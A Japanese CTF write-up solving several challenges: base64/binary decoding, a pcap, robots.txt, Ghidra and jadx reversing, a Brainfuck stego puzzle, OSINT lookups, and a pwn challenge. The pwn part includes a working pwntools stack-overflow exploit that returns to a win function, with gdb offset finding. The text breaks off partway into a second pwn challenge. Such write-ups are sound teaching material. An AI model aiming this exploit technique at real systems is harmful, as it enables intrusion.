この大会は2024/11/2 12:00(JST)~2024/11/4 13:00(JST)に開催されました。
この大会は個人戦。結果は6548点で797人中27位でした。
自分で解けた問題をWriteupとして書いておきます。
welcome (welcome)
添付のflag.txtにフラグが書いてあった。
CYBORG{lets_go}
colors (crypto) (beginner)
base64デコードすると、"30"と"31"、"20"がスペース区切りで並んでいるので、hexデコードする。8桁ごとの2進数文字列になるので、デコードすると、フラグになった。
from base64 import *
with open('message.txt', 'r') as f:
ct = f.read()
ct = b64decode(ct).decode()
print('[+]', ct)
ct = ''.join([chr(int(c, 16)) for c in ct.split(' ')])
print('[+]', ct)
flag = ''.join([chr(int(c, 2)) for c in ct.split(' ')])
print('[*]', flag)
実行結果は以下の通り。
[+] 30 31 30 30 30 30 31 31 20 30 31 30 31 31 30 30 31 20 30 31 30 30 30 30 31 30 20 30 31 30 30 31 31 31 31 20 30 31 30 31 30 30 31 30 20 30 31 30 30 30 31 31 31 20 30 31 31 31 31 30 31 31 20 30 31 31 31 30 31 30 30 20 30 31 30 31 30 30 31 30 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 30 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 31 30 30 31 31 20 30 31 30 31 31 31 31 31 20 30 31 31 30 31 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 31 30 31 31 30 20 30 31 31 30 30 31 30 31 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 31 31 20 30 30 31 31 30 31 30 30 20 30 31 31 31 30 30 31 30 20 30 31 31 30 30 31 30 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 30 30 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 31 31 31 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 31 30 30 20 30 31 31 30 30 31 30 30 20 30 31 31 31 31 31 30 31
[+] 01000011 01011001 01000010 01001111 01010010 01000111 01111011 01110100 01010010 00110000 01101010 01100001 01101110 01110011 01011111 01101100 01101111 01110110 01100101 01011111 01000011 00110100 01110010 01100100 01101001 01101110 01100001 01101100 01011111 01000000 01101110 01100100 01011111 01000111 00110000 01101100 01100100 01111101
[*] CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}
CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}
weirdtraffic (forensics) (beginner)
pcapファイルが添付されているので、Wiresharkで開く。すべてICMPの通信になっている。パケット数が少ないので、1つずつ見てみる。No.21のパケットにフラグが書いてあった。
CYBORG{hping3-is-a-cool-tool}
iRobots (web) (beginner)
HTMLソースを見ると、以下のように書いてある。
<script>
function checkPassword(event) {
event.preventDefault();
const passwordInput = document.getElementById("password").value;
const correctPassword = "as1m0v";
if (passwordInput === correctPassword) {
window.location.href = "secret.html";
} else {
document.getElementById("error-message").textContent = "Incorrect password. Try again.";
}
}
</script>
Passwordに"as1m0v"を入力してSubmitすると、以下のように表示された。
Secret Page
Congrats! You've found the secret page. But you may have got here because a web scraper found this page first and let your favorite search engine know. Luckily our flag won't appear on your search engine :D
https://usc-irobots.chals.io/robots.txtにアクセスすると、以下のように表示された。
User-agent: *
Disallow: /hidden/flag.txt
https://usc-irobots.chals.io/hidden/flag.txtにアクセスすると、フラグが表示された。
CYBORG{robots_txt_is_fun}
concoction (rev) (beginner)
Ghidraでデコンパイルする。
undefined8 main(void)
{
bool bVar1;
basic_ostream *pbVar2;
int *piVar3;
long in_FS_OFFSET;
int local_d0;
int local_cc;
int local_c8;
int local_c4;
int local_c0;
int local_bc;
int local_b8;
int local_b4;
int local_b0;
int local_ac;
int *local_a8;
int *local_a0;
int **local_98;
int *local_90;
int **local_88;
int *local_80;
int *local_78;
undefined8 local_70;
int local_68;
int local_64;
int local_60;
int local_5c;
int local_58;
int local_54;
basic_string local_48 [40];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"Time to make a ghastly cyberbrew!");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"Tell me how much of each ingredient to put in.");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
local_d0 = 0;
local_cc = 0;
local_c8 = 0;
local_c4 = 0;
local_c0 = 0;
local_bc = 0;
local_b8 = 0;
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many crypto crickets? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_d0);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many forensics fungi? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_cc);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many osint oreos? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c8);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many plants of pwn? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c4);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many rev redcaps? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c0);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many cobwebs? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_bc);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many ounces of water? (int)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::basic_istream<char,std::char_traits<char>>::operator>>
((basic_istream<char,std::char_traits<char>> *)std::cin,&local_b8);
std::basic_istream<char,std::char_traits<char>>::ignore();
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
pbVar2 = std::operator<<((basic_ostream *)std::cout,"What secret ingredient? (string)");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
std::getline<char,std::char_traits<char>,std::allocator<char>>((basic_istream *)std::cin,local_48)
;
local_b4 = 0;
local_b0 = 0;
local_70 = 6;
local_68 = local_d0;
local_64 = local_cc;
local_60 = local_c8;
local_5c = local_c4;
local_58 = local_c0;
local_54 = local_bc;
local_78 = &local_68;
local_98 = &local_78;
local_a8 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_98);
local_90 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_98);
for (; local_a8 != local_90; local_a8 = local_a8 + 1) {
local_ac = *local_a8;
piVar3 = std::max<int>(&local_b4,&local_ac);
local_b4 = *piVar3;
}
local_70 = 6;
local_68 = local_d0;
local_64 = local_cc;
local_60 = local_c8;
local_5c = local_c4;
local_58 = local_c0;
local_54 = local_bc;
local_78 = &local_68;
local_88 = &local_78;
local_a0 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_88);
local_80 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_88);
for (; local_a0 != local_80; local_a0 = local_a0 + 1) {
local_ac = *local_a0;
if (local_ac < local_b4) {
piVar3 = std::max<int>(&local_b0,&local_ac);
local_b0 = *piVar3;
}
}
if (local_b4 == 0) {
if (local_b8 < 1) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created... nothing.");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You poured a nice glass of water.");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
}
else if (local_b8 < 1) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a salad.");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else if (local_b4 == local_d0) {
if ((local_b0 == local_cc) && (0 < local_cc)) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a draught of decoding :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else if ((local_b0 == local_bc) && (0 < local_bc)) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a slosh of secure sending :}"
);
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an elixir of encoding :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
}
else if (local_b4 == local_cc) {
if ((local_b0 == local_c8) && (0 < local_c8)) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an ichor of investigation :}"
);
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an infusion of forensics :}")
;
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
}
else if (local_b4 == local_c8) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a goo of googling :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {
bVar1 = true;
}
else {
bVar1 = false;
}
if (bVar1) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"You created a philter of flag charming :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
pbVar2 = std::operator<<((basic_ostream *)std::cout,"CYBORG{RECIPE=");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_d0);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_cc);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c8);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c4);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c0);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = (basic_ostream *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_bc);
pbVar2 = std::operator<<(pbVar2,"-");
pbVar2 = std::operator<<(pbVar2,local_48);
pbVar2 = std::operator<<(pbVar2,"}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else if ((local_b0 == local_d0) && (0 < local_d0)) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"You created a balsam of buried secrets :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"You created a salve of shattered secrets :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
}
else if (local_b4 == local_bc) {
if ((local_b0 == local_c4) && (0 < local_c4)) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"You created an essence of exploitation :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a tonic of TCP :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a mysterious smoothie :}");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar2,
std::endl<char,std::char_traits<char>>);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_48);
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
__stack_chk_fail();
}
以下の部分に条件がある。
else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {
入力順で以下の値を指定する必要がある。
・How many crypto crickets? (int)
→local_d0 = 0x1eea = 7914
・How many forensics fungi? (int)
→local_cc = 0x1b1fc = 111100
・How many osint oreos? (int)
→local_c8 = 0x906 = 2310
・How many plants of pwn? (int)
→local_c4 = 0xc889 = 51337
・How many rev redcaps? (int)
→local_c0 = 0x283389e = 42154142
・How many cobwebs? (int)
→local_bc = 0x2397 = 9111
・What secret ingredient? (string)
→local_48 = "decompiler"
上記の値を入力すればフラグが得られる。なお「How many ounces of water? (int)」の値は正の整数値であれば何でもよい。
実行結果は以下の通り。
$ ./concoction
Time to make a ghastly cyberbrew!
Tell me how much of each ingredient to put in.
How many crypto crickets? (int)
7914
How many forensics fungi? (int)
111100
How many osint oreos? (int)
2310
How many plants of pwn? (int)
51337
How many rev redcaps? (int)
42154142
How many cobwebs? (int)
9111
How many ounces of water? (int)
1
What secret ingredient? (string)
decompiler
You created a philter of flag charming :}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}
Redwoods (misc)
jadx-guiでデコンパイルする。
package defpackage;
import java.util.Scanner;
public class Main {
static Scanner sc;
static String[] flags = {"ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddd", "dddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddeddddddddddde", "ddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce"};
static boolean animalSpeaking = false;
public static void main(String[] args) {
int i;
sc = new Scanner(System.in);
System.out.println("You are wandering through the woods to clear your mind, escape the concrete barriers of the modern world, and find enlightenment in what is known as a flag.");
System.out.println();
int location = 0;
int trailMix = 3;
boolean[] visited = new boolean[10];
while (true) {
int enterLoc = location;
if (location == 0) {
if (!visited[0]) {
System.out.println("You come across a climbable tree, but could also simply continue further.");
} else {
System.out.println("You are at the base of the tree, and see a route leading into the depths of the forest.");
}
int c = getChoice("Climb the tree", "Venture further", "Leave");
switch (c) {
case 1:
location = 1;
continue;
case 2:
location = 2;
continue;
case 3:
System.exit(0);
continue;
}
} else if (location == 1) {
if (!visited[3]) {
System.out.println("You find a comfortable spot on the tree branch and look out towards the horizon. It is beautiful in a way that could not be described fully in text... if only there were a picture that showed what this forest looked like.");
System.out.println("But your imagination is powerful, and your spirit is warmed.");
}
int c2 = getChoice("Press F5", "Climb down");
location = c2 == 1 ? 3 : 0;
} else if (location == 2) {
if (!visited[2]) {
System.out.println("You venture into the forest, pushing past bushes and branches to uncover more trees and animals around you.");
System.out.println("A squirrel hops out of a bush and is scuttling around in front of you.");
} else if (trailMix == 3) {
System.out.println("The squirrel is still there, presumably searching for food.");
} else {
System.out.println("The squirrel is still there, nibbling on its trail mix.");
}
int c3 = trailMix == 3 ? getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Ignore the squirrel and continue", "Go back") : getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Continue deeper into the forest", "Go back");
switch (c3) {
case 1:
i = 4;
break;
case 2:
i = 5;
break;
case 3:
i = 6;
break;
case 4:
i = 0;
break;
default:
i = location;
break;
}
location = i;
} else if (location == 3) {
System.out.println("You pressed F5 and gained a whole new perspective.");
if (!animalSpeaking) {
System.out.println("You can feel the voices of the forest connecting with your soul.");
}
animalSpeaking = true;
location = 1;
} else if (location == 4) {
if (trailMix > 0) {
trailMix--;
System.out.println("The squirrel looks up at you and happily accepts the nuts you hand out.");
if (animalSpeaking) {
System.out.println("The squirrel utters the following phrase:");
System.out.println(flags[3 - (trailMix + 1)]);
} else {
System.out.println("The squirrel utters an unintelligible but cute sound.");
}
System.out.println("You have " + trailMix + " trail mix remaining.");
if (trailMix == 2) {
System.out.println("The squirrel looks like it is very hungry.");
} else if (trailMix == 1) {
System.out.println("The squirrel looks like it is still hungry.");
}
} else {
System.out.println("You have no trail mix left. ");
}
location = 2;
} else if (location == 5) {
System.out.println("You swing your leg back, then swing forward with all your might and punt the squirrel into forest oblivion.");
System.out.println("Your meditative adventure has made you realize you are a terrible person, so you leave the forest and return to society.");
System.exit(0);
} else if (location == 6) {
System.out.println("You walk past the squirrel and journey deeper and deeper into the forest.");
if (trailMix == 3) {
System.out.println("You have a nagging feeling that you missed something along the way, that valuable lessons were not extracted.");
System.out.println("But you push on anyways, consuming yourself within the misty woods.");
} else if (!animalSpeaking) {
System.out.println("You feel comforted by your interaction with the squirrel, but something tells you that you did not fully understand what it was trying to say.");
System.out.println("Perhaps another journey through the forest would give you a new perspective.");
System.out.println("But for now, you venture deeper, consuming yourself within the misty woods.");
} else {
System.out.println("You feel enlightened by your connection to nature.");
System.out.println("You are ready to continue further, but you must dig deeper in a way that cannot be accomplished in this text adventure.");
}
System.exit(0);
}
System.out.println();
visited[enterLoc] = true;
}
}
public static int getChoice(String... options) {
for (int i = 0; i < options.length; i++) {
System.out.println((i + 1) + ": " + options[i]);
}
System.out.println("Enter a number: ");
int choice = sc.nextInt();
if (choice < 1 || choice > options.length) {
System.out.println("You are trying to do something you are not capable of.");
return getChoice(options);
}
return choice;
}
}
Resourcesにmistywoods.pngがあるので、エクスポートする。StegSolveで開き、Red plane 0を見ると、文字が現れる。
a [
b ]
c +
d -
e .
f ,
g >
h <
アルファベットとBrainf*ck言語で使われる文字の対応と推測できる。コード内のflagsでアルファベットが使われているので、置換してみる。
まずflagsの文字列を結合する。
ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddddddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddedddddddddddeddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce
画像として現れた対応表を元に、アルファベットを置換する。
++++++++++[>+++++++<-]>---.<+++++[>++++<-]>++.<+++++[>----<-]>---.<>+++++++++++++.+++.-----------.[>+>+<<-]+++++[>++++++++++<-]>++.>+.---.----.+++++++++++++++++.--------------.<<++++++[>>+++++<<-]>>---.-----------.--.<<++++++[>>-----<<-]>>-..<<+++++++++++[>>++++<<-]>>.<<+++++[>>-----<<-]>>.[>+>+<<-][]++++++[>>---<<-]>>.<++++++..<<++.
https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行してみると、フラグが現れた。
CYBORG{HEARD_TR33_F4LL}
TommyCam (osint)
問題は以下の通り。
The site usc.edu was first archived by the Internet Archive in December 1996. At that time, the site included the technical specs for TommyCam. What PC was initially used to run TommyCam?
Answers should be formatted like this, for example: CYBORG{ThinkPad T480}
Internet Archiveで以下を調べる。
https://usc.edu/
1996/12/23 4:41:23に初めてスナップショットが取られている。このページの「TommyCam」のリンクをたどってみる。次に「Technical Information, Future Improvements.」のリンク先に行ってみる。
System Architectureに以下のように書いてある。
The camera is connected to a video frame grabber board (Quanta WinVision Pro) in a Toshiba 5200 80386 based laptop PC.
CYBORG{Toshiba 5200 80386}
beer sales (osint)
問題は以下の通り。
In August 2024, a lot of beer was sold in Orlando, Florida. But how much, exactly? Lucky for us, they left the exact number on a PDF on an open FTP server! Include the total number of gallons of beer.
For example: CYBORG{712931.12}
「August 2024 Orlando Florida beer sold gallons」で検索すると、以下のFTPサイトが見つかった。
ftp://www.flgov.com/pub/llweb/Beer4.pdf
anonymous / (none) で認証し、ダウンロードする。pdfを見ると、合計は861,641.36ガロンであることがわかる。
CYBORG{861641.36}
television (osint)
問題は以下の通り。
The attached image is from the TV series Perry Mason (2020-2023). Who was the (real-life) architect for the building in the background?
CYBORG{Firstname Lastname}
「Perry Mason (2020-2023) building locations」で調べると、以下のページが見つかった。
https://www.sceen-it.com/movie/1377/Perry-Mason
ロケ地があるので、近い画像を探す。Second Church of Christ Scientistが似ている。
以下のページでこの建物の建築家を調べる。
https://en.wikipedia.org/wiki/Second_Church_of_Christ,_Scientist_(Los_Angeles)
CYBORG{Alfred H. Rosenheim}
$ checksec --file=portal
[*] '/mnt/hgfs/Shared/portal'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Ghidraでデコンパイルする。
undefined4 main(undefined1 param_1)
{
__gid_t __rgid;
setvbuf(_stdout,(char *)0x0,2,0);
__rgid = getegid();
setresgid(__rgid,__rgid,__rgid);
puts("Please enter your string: ");
vuln();
return 0;
}
void vuln(void)
{
undefined4 uVar1;
char local_2c [36];
gets(local_2c);
uVar1 = get_return_address();
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n",uVar1);
return;
}
void win(void)
{
char local_3d [45];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
exit(0);
}
fgets(local_3d,0x2d,local_10);
printf(local_3d);
return;
}
BOFでwin関数をコールすればよい。
$ gdb -q ./portal
Reading symbols from ./portal...
(No debugging symbols found in ./portal)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/portal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x40 ('@')
EBX: 0x61414145 ('EAAa')
ECX: 0x0
EDX: 0x0
ESI: 0xffffd04c --> 0xffffd238 ("CLUTTER_IM_MODULE=xim")
EDI: 0xf7ffcb60 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcf70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcf74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcf78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcf7c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44
$ ROPgadget --binary ./portal | grep ": ret"
0x0804900e : ret
0x0804918b : ret 0xe8c1
0x0804934b : retf
from pwn import *
if len(sys.argv) == 1:
p = remote('0.cloud.chals.io', 11723)
else:
p = process('./portal')
elf = ELF('./portal')
ret_addr = 0x0804900e
win_addr = elf.symbols['win']
payload = b'A' * 44
payload += p32(ret_addr)
payload += p32(win_addr)
data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)
実行結果は以下の通り。
[+] Opening connection to 0.cloud.chals.io on port 11723: Done
[*] '/mnt/hgfs/Shared/portal'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Please enter your string:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0e\x90\x04\x08\x08\x92\x04\x08'
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7
CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!
[*] Closed connection to 0.cloud.chals.io port 11723
最後の"}"がないので、"}"を付ける。
CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!}
Reader (pwn)
$ checksec --file=reader
[*] '/mnt/hgfs/Shared/reader'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Ghidraでデコンパイルする。
void main(void)
{
__pid_t _Var1;
while( true ) {
_Var1 = fork();
if (_Var1 < 0) {
perror("fork failed");
exit(1);
}
if (_Var1 == 0) break;
wait((void *)0x0);
}
vuln();
exit(0);
}
void vuln(void)
{
long in_FS_OFFSET;
undefined local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter some data: ");
fflush(stdout);
read(0,local_58,0x80);
puts("Your data was read. Did you get the flag?");
fflush(stdout);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
void win(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s %s","Please create \'flag.txt\' in this directory with your","own debugging flag.\n")
;
fflush(stdout);
exit(0);
}
fgets(local_48,0x32,__stream);
puts(local_48);
fflush(stdout);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
